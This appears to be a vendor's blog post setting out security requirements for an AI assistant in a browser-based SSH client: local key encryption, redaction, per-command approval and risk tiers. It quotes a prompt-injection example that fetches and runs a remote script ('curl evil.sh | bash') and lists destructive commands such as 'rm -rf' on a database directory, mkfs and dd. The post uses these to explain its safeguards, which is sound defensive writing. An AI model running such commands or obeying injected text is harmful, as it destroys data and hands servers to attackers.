SC Media reports a major push in browser security as AI tool usage grows. For anyone administering Linux servers over SSH, that trend raises a practical question: what should an AI assistant be allowed to do in your terminal, and what must it never be allowed to do?
We think the answer comes down to four requirements. Not best practices. Requirements. If a browser-based AI SSH tool cannot meet all four, it does not belong near production infrastructure.
Credentials never leave the browser
The private key or password that authenticates you to a server is the single most sensitive artifact in the workflow. A browser-based SSH client must encrypt that credential in the browser, under a passphrase you control, before it ever touches memory that the server side of the application can reach.
In our implementation the vault uses Argon2id and AES-256-GCM. The decrypted key exists only in the WebAssembly module that drives the terminal. The backend never sees it. The backend cannot decrypt it. If the service is compromised, the attacker gets ciphertext they cannot use.
This is not a policy promise. It is a cryptographic boundary. Any design that uploads keys to a central vault, even encrypted with a server-held key, shifts the trust model from "you hold the secret" to "we promise not to look." That promise has a long history of failure.
Output is scrubbed before any model sees it
An AI assistant needs context: command output, logs, configuration snippets. That output routinely contains API tokens, database passwords, private key material, internal hostnames, and IP addresses. Sending raw terminal transcripts to a model, whether a cloud API or a local Ollama instance, leaks those secrets.
The fix is a deterministic scanner that runs in the browser before any payload leaves the page. It replaces tokens, passwords, keys, and optionally IPs and hostnames with stable placeholders like {{REDACTED_TOKEN_1}}. The model receives the structure of the output without the sensitive values. When the model proposes a command that references a placeholder, the client substitutes the real value locally, just before execution.
This runs on every turn. No opt-in. No "oops, I forgot to redact that log line." The scanner is part of the client code you can inspect.
One command at a time, with explicit approval
An AI that executes commands autonomously is not an assistant. It is an agent with root access. The safe model is simple: the AI proposes exactly one command. The user reads the command, reads the explanation, and decides whether to run it. The command runs only after the user clicks Approve.
No batch queues. No "run this playbook." No background loops. Each approval is a deliberate human act. The transcript shows who approved what and when. That is the audit trail.
If the workflow encourages clicking Approve without reading, the UI has failed. The approval button must be distinct, the command must be visible in full, and the explanation must be concise. Speed is not the metric. Understanding is.
Fixed risk tiers that make destructive actions obvious
Not all commands carry the same weight. df -h is harmless. systemctl restart nginx changes state. rm -rf /var/lib/postgresql/data destroys data. The assistant must classify every proposed command into a fixed tier, and the UI must make that tier impossible to miss.
We use three tiers:
- Tier 0, Read-only.
ls,cat,grep,journalctl -u,df,free,ip a. No state change. Approved with one click. - Tier 1, State-changing.
systemctl restart,apt update && apt upgrade,docker compose up -d, configuration edits. Reversible in principle, but they mutate the running system. Requires explicit approval. - Tier 2, Destructive.
rm,mkfs,dd,pvremove,userdel,drop database. Data loss or irreversible change. Requires the user to type the hostname before the Approve button enables.
The tier is determined by static analysis of the command string, not by the model's self-assessment. The model does not decide its own risk level. The client does.
What this looks like in practice
You open the browser client from a Chromebook, an iPad, or a locked-down work laptop. The vault unlocks with your passphrase. You pick a server. The terminal connects directly, or through an ESP32-S3 bridge if the host sits behind CGNAT, Starlink, or a home router with no port forwarding.
You ask the Guru why disk usage spiked. It proposes du -x / | sort -rn | head -20. Tier 0. You approve. Output returns, scrubbed. The Guru explains the top directories and suggests journalctl -u docker -n 200 --no-pager. Tier 0. You approve. It sees a log rotation failure and proposes systemctl restart docker. Tier 1. You approve. The service restarts. Disk usage stabilizes.
At no point did the model execute anything. At no point did your private key leave the browser. At no point did a log line with a real token reach the model.
The alternative is hope
Without these four requirements, you are hoping the vendor's backend is not compromised, hoping the model does not hallucinate a destructive command, hoping the prompt injection in the log file does not trick the agent into running curl evil.sh | bash, hoping the audit log exists and is tamper-proof.
Hope is not a control.
Browser-based SSH with AI assistance can be safer than copying keys to a jump box or pasting commands from a chat window. But only if the architecture enforces the boundaries above. The browser is the trust anchor. The model is an untrusted adviser. The human is the gatekeeper.
That is the threat model we built for. If your tool assumes a different one, know what you are accepting.
Try the browser SSH client with local vault and AI risk tiers. See how the bridge works for hosts behind CGNAT.




Comments
No comments yet. Be the first.